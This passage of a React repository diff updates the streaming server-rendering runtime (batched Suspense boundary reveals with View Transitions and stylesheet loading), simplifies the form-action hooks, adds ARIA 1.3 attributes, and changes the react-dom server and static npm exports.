+    const contentNode = batch[i + 1];
+    if (contentNode.parentNode === null) {
+      // If the client has failed hydration we may have already deleted the streaming
+      // segments. The server may also have emitted a complete instruction but cancelled
+      // the segment. Regardless we can ignore this case.
+    } else {
+      // We can detach the content now.
+      // Completions of boundaries within this contentNode will now find the boundary
+      // in its designated place.
+      contentNode.parentNode.removeChild(contentNode);
+    }
+    // Clear all the existing children. This is complicated because
+    // there can be embedded Suspense boundaries in the fallback.
+    // This is similar to clearSuspenseBoundary in ReactFiberConfigDOM.
+    // TODO: We could avoid this if we never emitted suspense boundaries in fallback trees.
+    // They never hydrate anyway. However, currently we support incrementally loading the fallback.
+    const parentInstance = suspenseIdNode.parentNode;
+    if (!parentInstance) {
+      // We may have client-rendered this boundary already. Skip it.
+      continue;
+    }
+
+    // Find the boundary around the fallback. This is always the previous node.
+    const suspenseNode = suspenseIdNode.previousSibling;
+
+    let node = suspenseIdNode;
+    let depth = 0;
+    do {
+      if (node && node.nodeType === COMMENT_NODE) {
+        const data = node.data;
+        if (data === SUSPENSE_END_DATA || data === ACTIVITY_END_DATA) {
+          if (depth === 0) {
+            break;
+          } else {
+            depth--;
+          }
+        } else if (
+          data === SUSPENSE_START_DATA ||
+          data === SUSPENSE_PENDING_START_DATA ||
+          data === SUSPENSE_QUEUED_START_DATA ||
+          data === SUSPENSE_FALLBACK_START_DATA ||
+          data === ACTIVITY_START_DATA
+        ) {
+          depth++;
+        }
+      }
+
+      const nextNode = node.nextSibling;
+      parentInstance.removeChild(node);
+      node = nextNode;
+    } while (node);
+
+    const endOfBoundary = node;
+
+    // Insert all the children from the contentNode between the start and end of suspense boundary.
+    while (contentNode.firstChild) {
+      parentInstance.insertBefore(contentNode.firstChild, endOfBoundary);
+    }
+
+    suspenseNode.data = SUSPENSE_START_DATA;
+    if (suspenseNode['_reactRetry']) {
+      requestAnimationFrame(suspenseNode['_reactRetry']);
+    }
+  }
+  batch.length = 0;
+}
+
+export function revealCompletedBoundariesWithViewTransitions(
+  revealBoundaries,
+  batch,
+) {
+  let shouldStartViewTransition = false;
+  let autoNameIdx = 0;
+  const restoreQueue = [];
+  function applyViewTransitionName(element, classAttributeName) {
+    const className = element.getAttribute(classAttributeName);
+    if (!className) {
+      return;
+    }
+    // Add any elements we apply a name to a queue to be reverted when we start.
+    const elementStyle = element.style;
+    restoreQueue.push(
+      element,
+      elementStyle['viewTransitionName'],
+      elementStyle['viewTransitionClass'],
+    );
+    if (className !== 'auto') {
+      elementStyle['viewTransitionClass'] = className;
+    }
+    let name = element.getAttribute('vt-name');
+    if (!name) {
+      // Auto-generate a name for this one.
+      // TODO: We don't have a prefix to pick from here but maybe we don't need it
+      // since it's only applicable temporarily during this specific animation.
+      const idPrefix = '';
+      name = '_' + idPrefix + 'T_' + autoNameIdx++ + '_';
+    }
+    // If the name isn't valid CSS identifier, base64 encode the name instead.
+    // This doesn't let you select it in custom CSS selectors but it does work in current
+    // browsers.
+    const escapedName =
+      CSS.escape(name) !== name ? 'r-' + btoa(name).replace(/=/g, '') : name;
+    elementStyle['viewTransitionName'] = escapedName;
+    shouldStartViewTransition = true;
+  }
+  try {
+    const existingTransition = document['__reactViewTransition'];
+    if (existingTransition) {
+      // Retry after the previous ViewTransition finishes.
+      existingTransition.finished.finally(window['$RV'].bind(null, batch));
+      return;
+    }
+    // First collect all entering names that might form pairs exiting names.
+    const appearingViewTransitions = new Map();
+    for (let i = 1; i < batch.length; i += 2) {
+      const contentNode = batch[i];
+      const appearingElements = contentNode.querySelectorAll('[vt-share]');
+      for (let j = 0; j < appearingElements.length; j++) {
+        const appearingElement = appearingElements[j];
+        appearingViewTransitions.set(
+          appearingElement.getAttribute('vt-name'),
+          appearingElement,
+        );
+      }
+    }
+    const suspenseyImages = [];
+    // Next we'll find the nodes that we're going to animate and apply names to them..
+    for (let i = 0; i < batch.length; i += 2) {
+      const suspenseIdNode = batch[i];
+      const parentInstance = suspenseIdNode.parentNode;
+      if (!parentInstance) {
+        // We may have client-rendered this boundary already. Skip it.
+        continue;
+      }
+      const parentRect = parentInstance.getBoundingClientRect();
+      if (
+        !parentRect.left &&
+        !parentRect.top &&
+        !parentRect.width &&
+        !parentRect.height
+      ) {
+        // If the parent instance is display: none then we don't animate this boundary.
+        // This can happen when this boundary is actually a child of a different boundary that
+        // isn't yet revealed or is about to be revealed, but in that case that boundary
+        // should do the exit/enter and not this one. Conveniently this also lets us skip
+        // this if it's just in a hidden tree in general.
+        // TODO: Should we skip it if it's out of viewport? It's possible that it gets
+        // brought into the viewport by changing size.
+        // TODO: There's a another case where an inner boundary is inside a fallback that
+        // is about to be deleted. In that case we should not run exit animations on the inner.
+        continue;
+      }
+
+      // Apply exit animations to the immediate elements inside the fallback.
+      let node = suspenseIdNode;
+      let depth = 0;
+      while (node) {
+        if (node.nodeType === COMMENT_NODE) {
+          const data = node.data;
+          if (data === SUSPENSE_END_DATA) {
+            if (depth === 0) {
+              break;
+            } else {
+              depth--;
+            }
+          } else if (
+            data === SUSPENSE_START_DATA ||
+            data === SUSPENSE_PENDING_START_DATA ||
+            data === SUSPENSE_QUEUED_START_DATA ||
+            data === SUSPENSE_FALLBACK_START_DATA
+          ) {
+            depth++;
+          }
+        } else if (node.nodeType === ELEMENT_NODE) {
+          const exitElement = node;
+          const exitName = exitElement.getAttribute('vt-name');
+          const pairedElement = appearingViewTransitions.get(exitName);
+          applyViewTransitionName(
+            exitElement,
+            pairedElement ? 'vt-share' : 'vt-exit',
+          );
+          if (pairedElement) {
+            // Activate the other side as well.
+            applyViewTransitionName(pairedElement, 'vt-share');
+            appearingViewTransitions.set(exitName, null); // mark claimed
+          }
+          // Next we'll look inside this element for pairs to trigger "share".
+          const disappearingElements =
+            exitElement.querySelectorAll('[vt-share]');
+          for (let j = 0; j < disappearingElements.length; j++) {
+            const disappearingElement = disappearingElements[j];
+            const name = disappearingElement.getAttribute('vt-name');
+            const appearingElement = appearingViewTransitions.get(name);
+            if (appearingElement) {
+              applyViewTransitionName(disappearingElement, 'vt-share');
+              applyViewTransitionName(appearingElement, 'vt-share');
+              appearingViewTransitions.set(name, null); // mark claimed
+            }
+          }
+        }
+        node = node.nextSibling;
+      }
+
+      // Apply enter animations to the new nodes about to be inserted.
+      const contentNode = batch[i + 1];
+      let enterElement = contentNode.firstElementChild;
+      while (enterElement) {
+        const paired =
+          appearingViewTransitions.get(enterElement.getAttribute('vt-name')) ===
+          null;
+        if (!paired) {
+          applyViewTransitionName(enterElement, 'vt-enter');
+        }
+        enterElement = enterElement.nextElementSibling;
+      }
+
+      // Apply update animations to any parents and siblings that might be affected.
+      let ancestorElement = parentInstance;
+      do {
+        let childElement = ancestorElement.firstElementChild;
+        while (childElement) {
+          // TODO: Bail out if we can
+          const updateClassName = childElement.getAttribute('vt-update');
+          if (
+            updateClassName &&
+            updateClassName !== 'none' &&
+            !restoreQueue.includes(childElement)
+          ) {
+            // If we have already handled this element as part of another exit/enter/share, don't override.
+            applyViewTransitionName(childElement, 'vt-update');
+          }
+          childElement = childElement.nextElementSibling;
+        }
+      } while (
+        (ancestorElement = ancestorElement.parentNode) &&
+        ancestorElement.nodeType === ELEMENT_NODE &&
+        ancestorElement.getAttribute('vt-update') !== 'none'
+      );
+
+      // Find the appearing Suspensey Images inside the new content.
+      const appearingImages = contentNode.querySelectorAll(
+        'img[src]:not([loading="lazy"])',
+      );
+      // TODO: Consider marking shouldStartViewTransition if we found any images.
+      // But only once we can disable the root animation for that case.
+      suspenseyImages.push.apply(suspenseyImages, appearingImages);
+    }
+    if (shouldStartViewTransition) {
+      const transition = (document['__reactViewTransition'] = document[
+        'startViewTransition'
+      ]({
+        update: () => {
+          revealBoundaries(batch);
+          const blockingPromises = [
+            // Force layout to trigger font loading, we stash the actual value to trick minifiers.
+            document.documentElement.clientHeight,
+            // Block on fonts finishing loading before revealing these boundaries.
+            document.fonts.ready,
+          ];
+          for (let i = 0; i < suspenseyImages.length; i++) {
+            const suspenseyImage = suspenseyImages[i];
+            if (!suspenseyImage.complete) {
+              const rect = suspenseyImage.getBoundingClientRect();
+              const inViewport =
+                rect.bottom > 0 &&
+                rect.right > 0 &&
+                rect.top < window.innerHeight &&
+                rect.left < window.innerWidth;
+              if (inViewport) {
+                // TODO: Use decode() instead of the load event here once the fix in
+                // https://issues.chromium.org/issues/420748301 has propagated fully.
+                const loadingImage = new Promise(resolve => {
+                  suspenseyImage.addEventListener('load', resolve);
+                  suspenseyImage.addEventListener('error', resolve);
+                });
+                blockingPromises.push(loadingImage);
+              }
+            }
+          }
+          return Promise.race([
+            Promise.all(blockingPromises),
+            new Promise(resolve => {
+              const currentTime = performance.now();
+              const msUntilTimeout =
+                // If the throttle would make us miss the target metric, then shorten the throttle.
+                // performance.now()'s zero value is assumed to be the start time of the metric.
+                currentTime < TARGET_VANITY_METRIC &&
+                currentTime > TARGET_VANITY_METRIC - FALLBACK_THROTTLE_MS
+                  ? TARGET_VANITY_METRIC - currentTime
+                  : // Otherwise it's throttled starting from last commit time.
+                    SUSPENSEY_FONT_AND_IMAGE_TIMEOUT;
+              setTimeout(resolve, msUntilTimeout);
+            }),
+          ]);
+        },
+        types: [], // TODO: Add a hard coded type for Suspense reveals.
+      }));
+      transition.ready.finally(() => {
+        // Restore all the names/classes that we applied to what they were before.
+        // We do it in reverse order in case there were duplicates so the first one wins.
+        for (let i = restoreQueue.length - 3; i >= 0; i -= 3) {
+          const element = restoreQueue[i];
+          const elementStyle = element.style;
+          const previousName = restoreQueue[i + 1];
+          elementStyle['viewTransitionName'] = previousName;
+          const previousClassName = restoreQueue[i + 1];
+          elementStyle['viewTransitionClass'] = previousClassName;
+          if (element.getAttribute('style') === '') {
+            element.removeAttribute('style');
+          }
+        }
+      });
+      transition.finished.finally(() => {
+        if (document['__reactViewTransition'] === transition) {
+          document['__reactViewTransition'] = null;
+        }
+      });
+      // Queue any future completions into its own batch since they won't have been
+      // snapshotted by this one.
+      window['$RB'] = [];
+      return;
+    }
+    // Fall through to reveal.
+  } catch (x) {
+    // Fall through to reveal.
+  }
+  // ViewTransitions v2 not supported or no ViewTransitions found. Reveal immediately.
+  revealBoundaries(batch);
+}
+
 export function clientRenderBoundary(
   suspenseBoundaryID,
   errorDigest,
@@ -45,71 +393,185 @@ export function clientRenderBoundary(
   }
 }
 
-export function completeBoundary(suspenseBoundaryID, contentID, errorDigest) {
-  const contentNode = document.getElementById(contentID);
-  // We'll detach the content node so that regardless of what happens next we don't leave in the tree.
-  // This might also help by not causing recalcing each time we move a child from here to the target.
-  contentNode.parentNode.removeChild(contentNode);
+export function completeBoundary(suspenseBoundaryID, contentID) {
+  const contentNodeOuter = document.getElementById(contentID);
+  if (!contentNodeOuter) {
+    // If the client has failed hydration we may have already deleted the streaming
+    // segments. The server may also have emitted a complete instruction but cancelled
+    // the segment. Regardless we can ignore this case.
+    return;
+  }
 
   // Find the fallback's first element.
-  const suspenseIdNode = document.getElementById(suspenseBoundaryID);
-  if (!suspenseIdNode) {
+  const suspenseIdNodeOuter = document.getElementById(suspenseBoundaryID);
+  if (!suspenseIdNodeOuter) {
+    // We'll never reveal this boundary so we can remove its content immediately.
+    // Otherwise we'll leave it in until we reveal it.
+    // This is important in case this specific boundary contains other boundaries
+    // that may get completed before we reveal this one.
+    contentNodeOuter.parentNode.removeChild(contentNodeOuter);
+
     // The user must have already navigated away from this tree.
     // E.g. because the parent was hydrated. That's fine there's nothing to do
     // but we have to make sure that we already deleted the container node.
     return;
   }
-  // Find the boundary around the fallback. This is always the previous node.
-  const suspenseNode = suspenseIdNode.previousSibling;
 
-  if (!errorDigest) {
-    // Clear all the existing children. This is complicated because
-    // there can be embedded Suspense boundaries in the fallback.
-    // This is similar to clearSuspenseBoundary in ReactFiberConfigDOM.
-    // TODO: We could avoid this if we never emitted suspense boundaries in fallback trees.
-    // They never hydrate anyway. However, currently we support incrementally loading the fallback.
-    const parentInstance = suspenseNode.parentNode;
-    let node = suspenseNode.nextSibling;
-    let depth = 0;
-    do {
-      if (node && node.nodeType === COMMENT_NODE) {
-        const data = node.data;
-        if (data === SUSPENSE_END_DATA) {
-          if (depth === 0) {
-            break;
-          } else {
-            depth--;
-          }
-        } else if (
-          data === SUSPENSE_START_DATA ||
-          data === SUSPENSE_PENDING_START_DATA ||
-          data === SUSPENSE_FALLBACK_START_DATA
-        ) {
-          depth++;
-        }
+  // Mark this Suspense boundary as queued so we know not to client render it
+  // at the end of document load.
+  const suspenseNodeOuter = suspenseIdNodeOuter.previousSibling;
+  suspenseNodeOuter.data = SUSPENSE_QUEUED_START_DATA;
+  // Queue this boundary for the next batch
+  window['$RB'].push(suspenseIdNodeOuter, contentNodeOuter);
+
+  if (window['$RB'].length === 2) {
+    // This is the first time we've pushed to the batch. We need to schedule a callback
+    // to flush the batch. This is delayed by the throttle heuristic.
+    if (typeof window['$RT'] !== 'number') {
+      // If we haven't had our rAF callback yet, schedule everything for the first paint.
+      requestAnimationFrame(window['$RV'].bind(null, window['$RB']));
+    } else {
+      const currentTime = performance.now();
+      const msUntilTimeout =
+        // If the throttle would make us miss the target metric, then shorten the throttle.
+        // performance.now()'s zero value is assumed to be the start time of the metric.
+        currentTime < TARGET_VANITY_METRIC &&
+        currentTime > TARGET_VANITY_METRIC - FALLBACK_THROTTLE_MS
+          ? TARGET_VANITY_METRIC - currentTime
+          : // Otherwise it's throttled starting from last commit time.
+            window['$RT'] + FALLBACK_THROTTLE_MS - currentTime;
+      // We always schedule the flush in a timer even if it's very low or negative to allow
+      // for multiple completeBoundary calls that are already queued to have a chance to
+      // make the batch.
+      setTimeout(window['$RV'].bind(null, window['$RB']), msUntilTimeout);
+    }
+  }
+}
+
+export function completeBoundaryWithStyles(
+  suspenseBoundaryID,
+  contentID,
+  stylesheetDescriptors,
+) {
+  const precedences = new Map();
+  const thisDocument = document;
+  let lastResource, node;
+
+  // Seed the precedence list with existing resources and collect hoistable style tags
+  const nodes = thisDocument.querySelectorAll(
+    'link[data-precedence],style[data-precedence]',
+  );
+  const styleTagsToHoist = [];
+  for (let i = 0; (node = nodes[i++]); ) {
+    if (node.getAttribute('media') === 'not all') {
+      styleTagsToHoist.push(node);
+    } else {
+      if (node.tagName === 'LINK') {
+        window['$RM'].set(node.getAttribute('href'), node);
       }
+      precedences.set(node.dataset['precedence'], (lastResource = node));
+    }
+  }
 
-      const nextNode = node.nextSibling;
-      parentInstance.removeChild(node);
-      node = nextNode;
-    } while (node);
+  let i = 0;
+  const dependencies = [];
+  let href, precedence, attr, loadingState, resourceEl, media;
 
-    const endOfBoundary = node;
+  function cleanupWith(cb) {
+    this['_p'] = null;
+    cb();
+  }
 
-    // Insert all the children from the contentNode between the start and end of suspense boundary.
-    while (contentNode.firstChild) {
-      parentInstance.insertBefore(contentNode.firstChild, endOfBoundary);
+  // Sheets Mode
+  let sheetMode = true;
+  while (true) {
+    if (sheetMode) {
+      // Sheet Mode iterates over the stylesheet arguments and constructs them if new or checks them for
+      // dependency if they already existed
+      const stylesheetDescriptor = stylesheetDescriptors[i++];
+      if (!stylesheetDescriptor) {
+        // enter <style> Mode
+        sheetMode = false;
+        i = 0;
+        continue;
+      }
+
+      let avoidInsert = false;
+      let j = 0;
+      href = stylesheetDescriptor[j++];
+
+      if ((resourceEl = window['$RM'].get(href))) {
+        // We have an already inserted stylesheet.
+        loadingState = resourceEl['_p'];
+        avoidInsert = true;
+      } else {
+        // We haven't already processed this href so we need to construct a stylesheet and hoist it
+        // We construct it here and attach a loadingState. We also check whether it matches
+        // media before we include it in the dependency array.
+        resourceEl = thisDocument.createElement('link');
+        resourceEl.href = href;
+        resourceEl.rel = 'stylesheet';
+        resourceEl.dataset['precedence'] = precedence =
+          stylesheetDescriptor[j++];
+        while ((attr = stylesheetDescriptor[j++])) {
+          resourceEl.setAttribute(attr, stylesheetDescriptor[j++]);
+        }
+        loadingState = resourceEl['_p'] = new Promise((resolve, reject) => {
+          resourceEl.onload = cleanupWith.bind(resourceEl, resolve);
+          resourceEl.onerror = cleanupWith.bind(resourceEl, reject);
+        });
+        // Save this resource element so we can bailout if it is used again
+        window['$RM'].set(href, resourceEl);
+      }
+      media = resourceEl.getAttribute('media');
+      if (loadingState && (!media || window['matchMedia'](media).matches)) {
+        dependencies.push(loadingState);
+      }
+      if (avoidInsert) {
+        // We have a link that is already in the document. We don't want to fall through to the insert path
+        continue;
+      }
+    } else {
+      // <style> mode iterates over not-yet-hoisted <style> tags with data-precedence and hoists them.
+      resourceEl = styleTagsToHoist[i++];
+      if (!resourceEl) {
+        // we are done with all style tags
+        break;
+      }
+
+      precedence = resourceEl.getAttribute('data-precedence');
+      resourceEl.removeAttribute('media');
     }
 
-    suspenseNode.data = SUSPENSE_START_DATA;
-  } else {
-    suspenseNode.data = SUSPENSE_FALLBACK_START_DATA;
-    suspenseIdNode.setAttribute('data-dgst', errorDigest);
+    // resourceEl is either a newly constructed <link rel="stylesheet" ...> or a <style> tag requiring hoisting
+    const prior = precedences.get(precedence) || lastResource;
+    if (prior === lastResource) {
+      lastResource = resourceEl;
+    }
+    precedences.set(precedence, resourceEl);
+
+    // Finally, we insert the newly constructed instance at an appropriate location
+    // in the Document.
+    if (prior) {
+      prior.parentNode.insertBefore(resourceEl, prior.nextSibling);
+    } else {
+      const head = thisDocument.head;
+      head.insertBefore(resourceEl, head.firstChild);
+    }
   }
 
-  if (suspenseNode['_reactRetry']) {
-    suspenseNode['_reactRetry']();
+  const suspenseIdNodeOuter = document.getElementById(suspenseBoundaryID);
+  if (suspenseIdNodeOuter) {
+    // Mark this Suspense boundary as queued so we know not to client render it
+    // at the end of document load.
+    const suspenseNodeOuter = suspenseIdNodeOuter.previousSibling;
+    suspenseNodeOuter.data = SUSPENSE_QUEUED_START_DATA;
   }
+
+  Promise.all(dependencies).then(
+    window['$RC'].bind(null, suspenseBoundaryID, contentID),
+    window['$RX'].bind(null, suspenseBoundaryID, 'CSS failed to load'),
+  );
 }
 
 export function completeSegment(containerID, placeholderID) {
@@ -172,25 +634,7 @@ export function listenToFormSubmissionsForReplaying() {
     event.preventDefault();
 
     // Take a snapshot of the FormData at the time of the event.
-    let formData;
-    if (formDataSubmitter) {
-      // The submitter's value should be included in the FormData.
-      // It should be in the document order in the form.
-      // Since the FormData constructor invokes the formdata event it also
-      // needs to be available before that happens so after construction it's too
-      // late. We use a temporary fake node for the duration of this event.
-      // TODO: FormData takes a second argument that it's the submitter but this
-      // is fairly new so not all browsers support it yet. Switch to that technique
-      // when available.
-      const temp = document.createElement('input');
-      temp.name = formDataSubmitter.name;
-      temp.value = formDataSubmitter.value;
-      formDataSubmitter.parentNode.insertBefore(temp, formDataSubmitter);
-      formData = new FormData(form);
-      temp.parentNode.removeChild(temp);
-    } else {
-      formData = new FormData(form);
-    }
+    const formData = new FormData(form, formDataSubmitter);
 
     // Queue for replaying later. This field could potentially be shared with multiple
     // Reacts on the same page since each one will preventDefault for the next one.
diff --git a/packages/react-dom-bindings/src/shared/ReactDOMFormActions.js b/packages/react-dom-bindings/src/shared/ReactDOMFormActions.js
index ab36fc11199b..6978f4884506 100644
--- a/packages/react-dom-bindings/src/shared/ReactDOMFormActions.js
+++ b/packages/react-dom-bindings/src/shared/ReactDOMFormActions.js
@@ -10,7 +10,6 @@
 import type {Dispatcher} from 'react-reconciler/src/ReactInternalTypes';
 import type {Awaited} from 'shared/ReactTypes';
 
-import {enableAsyncActions} from 'shared/ReactFeatureFlags';
 import ReactSharedInternals from 'shared/ReactSharedInternals';
 import ReactDOMSharedInternals from 'shared/ReactDOMSharedInternals';
 
@@ -32,7 +31,7 @@ export type FormStatus = FormStatusPending | FormStatusNotPending;
 
 // Since the "not pending" value is always the same, we can reuse the
 // same object across all transitions.
-const sharedNotPendingObject = {
+const sharedNotPendingObject: FormStatusNotPending = {
   pending: false,
   data: null,
   method: null,
@@ -66,13 +65,8 @@ function resolveDispatcher() {
 }
 
 export function useFormStatus(): FormStatus {
-  if (!enableAsyncActions) {
-    throw new Error('Not implemented.');
-  } else {
-    const dispatcher = resolveDispatcher();
-    // $FlowFixMe[not-a-function] We know this exists because of the feature check above.
-    return dispatcher.useHostTransitionStatus();
-  }
+  const dispatcher = resolveDispatcher();
+  return dispatcher.useHostTransitionStatus();
 }
 
 export function useFormState<S, P>(
@@ -80,13 +74,8 @@ export function useFormState<S, P>(
   initialState: Awaited<S>,
   permalink?: string,
 ): [Awaited<S>, (P) => void, boolean] {
-  if (!enableAsyncActions) {
-    throw new Error('Not implemented.');
-  } else {
-    const dispatcher = resolveDispatcher();
-    // $FlowFixMe[not-a-function] This is unstable, thus optional
-    return dispatcher.useFormState(action, initialState, permalink);
-  }
+  const dispatcher = resolveDispatcher();
+  return dispatcher.useFormState(action, initialState, permalink);
 }
 
 export function requestFormReset(form: HTMLFormElement) {
diff --git a/packages/react-dom-bindings/src/shared/ReactDOMResourceValidation.js b/packages/react-dom-bindings/src/shared/ReactDOMResourceValidation.js
index 6e0b56479dd3..efb2779bc4a7 100644
--- a/packages/react-dom-bindings/src/shared/ReactDOMResourceValidation.js
+++ b/packages/react-dom-bindings/src/shared/ReactDOMResourceValidation.js
@@ -68,20 +68,20 @@ export function getValueDescriptorExpectingObjectForWarning(
   return thing === null
     ? '`null`'
     : thing === undefined
-    ? '`undefined`'
-    : thing === ''
-    ? 'an empty string'
-    : `something with type "${typeof thing}"`;
+      ? '`undefined`'
+      : thing === ''
+        ? 'an empty string'
+        : `something with type "${typeof thing}"`;
 }
 
 export function getValueDescriptorExpectingEnumForWarning(thing: any): string {
   return thing === null
     ? '`null`'
     : thing === undefined
-    ? '`undefined`'
-    : thing === ''
-    ? 'an empty string'
-    : typeof thing === 'string'
-    ? JSON.stringify(thing)
-    : `something with type "${typeof thing}"`;
+      ? '`undefined`'
+      : thing === ''
+        ? 'an empty string'
+        : typeof thing === 'string'
+          ? JSON.stringify(thing)
+          : `something with type "${typeof thing}"`;
 }
diff --git a/packages/react-dom-bindings/src/shared/ReactDOMUnknownPropertyHook.js b/packages/react-dom-bindings/src/shared/ReactDOMUnknownPropertyHook.js
index 3e49fa637f29..f45e477d876f 100644
--- a/packages/react-dom-bindings/src/shared/ReactDOMUnknownPropertyHook.js
+++ b/packages/react-dom-bindings/src/shared/ReactDOMUnknownPropertyHook.js
@@ -271,7 +271,7 @@ function validateProperty(tagName, name, value, eventRegistry) {
         }
       }
       case 'function':
-      case 'symbol': // eslint-disable-line
+      case 'symbol':
         // Warn when a known attribute is a bad type
         warnedProperties[name] = true;
         return false;
diff --git a/packages/react-dom-bindings/src/shared/getAttributeAlias.js b/packages/react-dom-bindings/src/shared/getAttributeAlias.js
index 2ed432f20275..31ce02f5d560 100644
--- a/packages/react-dom-bindings/src/shared/getAttributeAlias.js
+++ b/packages/react-dom-bindings/src/shared/getAttributeAlias.js
@@ -50,6 +50,7 @@ const aliases = new Map([
   ['markerEnd', 'marker-end'],
   ['markerMid', 'marker-mid'],
   ['markerStart', 'marker-start'],
+  ['maskType', 'mask-type'],
   ['overlinePosition', 'overline-position'],
   ['overlineThickness', 'overline-thickness'],
   ['paintOrder', 'paint-order'],
diff --git a/packages/react-dom-bindings/src/shared/isAttributeNameSafe.js b/packages/react-dom-bindings/src/shared/isAttributeNameSafe.js
index d1378a64de37..77cf005e404e 100644
--- a/packages/react-dom-bindings/src/shared/isAttributeNameSafe.js
+++ b/packages/react-dom-bindings/src/shared/isAttributeNameSafe.js
@@ -9,10 +9,8 @@
 
 import hasOwnProperty from 'shared/hasOwnProperty';
 
-/* eslint-disable max-len */
 const ATTRIBUTE_NAME_START_CHAR =
   ':A-Z_a-z\\u00C0-\\u00D6\\u00D8-\\u00F6\\u00F8-\\u02FF\\u0370-\\u037D\\u037F-\\u1FFF\\u200C-\\u200D\\u2070-\\u218F\\u2C00-\\u2FEF\\u3001-\\uD7FF\\uF900-\\uFDCF\\uFDF0-\\uFFFD';
-/* eslint-enable max-len */
 export const ATTRIBUTE_NAME_CHAR: string =
   ATTRIBUTE_NAME_START_CHAR + '\\-.0-9\\u00B7\\u0300-\\u036F\\u203F-\\u2040';
 
diff --git a/packages/react-dom-bindings/src/shared/possibleStandardNames.js b/packages/react-dom-bindings/src/shared/possibleStandardNames.js
index 369b87110b23..b237d116e43e 100644
--- a/packages/react-dom-bindings/src/shared/possibleStandardNames.js
+++ b/packages/react-dom-bindings/src/shared/possibleStandardNames.js
@@ -314,6 +314,7 @@ const possibleStandardNames = {
   markerwidth: 'markerWidth',
   mask: 'mask',
   maskcontentunits: 'maskContentUnits',
+  masktype: 'maskType',
   maskunits: 'maskUnits',
   mathematical: 'mathematical',
   mode: 'mode',
diff --git a/packages/react-dom-bindings/src/shared/sanitizeURL.js b/packages/react-dom-bindings/src/shared/sanitizeURL.js
index d1f0e62cbac7..477bb9f9c921 100644
--- a/packages/react-dom-bindings/src/shared/sanitizeURL.js
+++ b/packages/react-dom-bindings/src/shared/sanitizeURL.js
@@ -16,7 +16,6 @@
 // INFORMATION SEPARATOR ONE, inclusive:
 // https://infra.spec.whatwg.org/#c0-control-or-space
 
-/* eslint-disable max-len */
 const isJavaScriptProtocol =
   /^[\u0000-\u001F ]*j[\r\n\t]*a[\r\n\t]*v[\r\n\t]*a[\r\n\t]*s[\r\n\t]*c[\r\n\t]*r[\r\n\t]*i[\r\n\t]*p[\r\n\t]*t[\r\n\t]*\:/i;
 
diff --git a/packages/react-dom-bindings/src/shared/validAriaProperties.js b/packages/react-dom-bindings/src/shared/validAriaProperties.js
index fb72fea26064..9421ba5a1561 100644
--- a/packages/react-dom-bindings/src/shared/validAriaProperties.js
+++ b/packages/react-dom-bindings/src/shared/validAriaProperties.js
@@ -59,6 +59,11 @@ const ariaProperties = {
   'aria-rowindex': 0,
   'aria-rowspan': 0,
   'aria-setsize': 0,
+  // ARIA 1.3 Attributes
+  'aria-braillelabel': 0,
+  'aria-brailleroledescription': 0,
+  'aria-colindextext': 0,
+  'aria-rowindextext': 0,
 };
 
 export default ariaProperties;
diff --git a/packages/react-dom/npm/server.browser.js b/packages/react-dom/npm/server.browser.js
index 04446965dc66..4d8066527139 100644
--- a/packages/react-dom/npm/server.browser.js
+++ b/packages/react-dom/npm/server.browser.js
@@ -13,6 +13,4 @@ exports.version = l.version;
 exports.renderToString = l.renderToString;
 exports.renderToStaticMarkup = l.renderToStaticMarkup;
 exports.renderToReadableStream = s.renderToReadableStream;
-if (s.resume) {
-  exports.resume = s.resume;
-}
+exports.resume = s.resume;
diff --git a/packages/react-dom/npm/server.bun.js b/packages/react-dom/npm/server.bun.js
index f0b6bf3a8298..ec94e0f0bc4b 100644
--- a/packages/react-dom/npm/server.bun.js
+++ b/packages/react-dom/npm/server.bun.js
@@ -12,8 +12,8 @@ if (process.env.NODE_ENV === 'production') {
 
 exports.version = b.version;
 exports.renderToReadableStream = b.renderToReadableStream;
-if (b.resume) {
-  exports.resume = b.resume;
-}
+exports.renderToPipeableStream = b.renderToPipeableStream;
+exports.resumeToPipeableStream = b.resumeToPipeableStream;
+exports.resume = b.resume;
 exports.renderToString = l.renderToString;
 exports.renderToStaticMarkup = l.renderToStaticMarkup;
diff --git a/packages/react-dom/npm/server.edge.js b/packages/react-dom/npm/server.edge.js
index d64b9da7360a..cc05ed6120f4 100644
--- a/packages/react-dom/npm/server.edge.js
+++ b/packages/react-dom/npm/server.edge.js
@@ -14,6 +14,4 @@ exports.version = b.version;
 exports.renderToReadableStream = b.renderToReadableStream;
 exports.renderToString = l.renderToString;
 exports.renderToStaticMarkup = l.renderToStaticMarkup;
-if (b.resume) {
-  exports.resume = b.resume;
-}
+exports.resume = b.resume;
diff --git a/packages/react-dom/npm/server.node.js b/packages/react-dom/npm/server.node.js
index 0373a33b3a75..3feeac208fe1 100644
--- a/packages/react-dom/npm/server.node.js
+++ b/packages/react-dom/npm/server.node.js
@@ -13,6 +13,6 @@ exports.version = l.version;
 exports.renderToString = l.renderToString;
 exports.renderToStaticMarkup = l.renderToStaticMarkup;
 exports.renderToPipeableStream = s.renderToPipeableStream;
-if (s.resumeToPipeableStream) {
-  exports.resumeToPipeableStream = s.resumeToPipeableStream;
-}
+exports.renderToReadableStream = s.renderToReadableStream;
+exports.resumeToPipeableStream = s.resumeToPipeableStream;
+exports.resume = s.resume;
diff --git a/packages/react-dom/npm/static.browser.js b/packages/react-dom/npm/static.browser.js
index 6d3f52b0e6c1..ddfe2b20896d 100644
--- a/packages/react-dom/npm/static.browser.js
+++ b/packages/react-dom/npm/static.browser.js
@@ -9,3 +9,4 @@ if (process.env.NODE_ENV === 'production') {
 
 exports.version = s.version;
 exports.prerender = s.prerender;
+exports.resumeAndPrerender = s.resumeAndPrerender;
diff --git a/packages/react-dom/npm/static.edge.js b/packages/react-dom/npm/static.edge.js
index de57d7a4c022..ff770374b314 100644
--- a/packages/react-dom/npm/static.edge.js
+++ b/packages/react-dom/npm/static.edge.js
@@ -9,3 +9,4 @@ if (process.env.NODE_ENV === 'production') {
 
 exports.version = s.version;
 exports.prerender = s.prerender;
+exports.resumeAndPrerender = s.resumeAndPrerender;
diff --git a/packages/react-dom/npm/static.node.js b/packages/react-dom/npm/static.node.js
index 0a7cc8dfd785..24fc9cbc20f8 100644
--- a/packages/react-dom/npm/static.node.js
+++ b/packages/react-dom/npm/static.node.js
@@ -9,3 +9,6 @@ if (process.env.NODE_ENV === 'production') {
 
 exports.version = s.version;
 exports.prerenderToNodeStream = s.prerenderToNodeStream;
+exports.prerender = s.prerender;
+exports.resumeAndPrerenderToNodeStream = s.resumeAndPrerenderToNodeStream;
+exports.resumeAndPrerender = s.resumeAndPrerender;
diff --git a/packages/react-dom/package.json b/packages/react-dom/package.json
index 481548f37439..351ed0684e64 100644
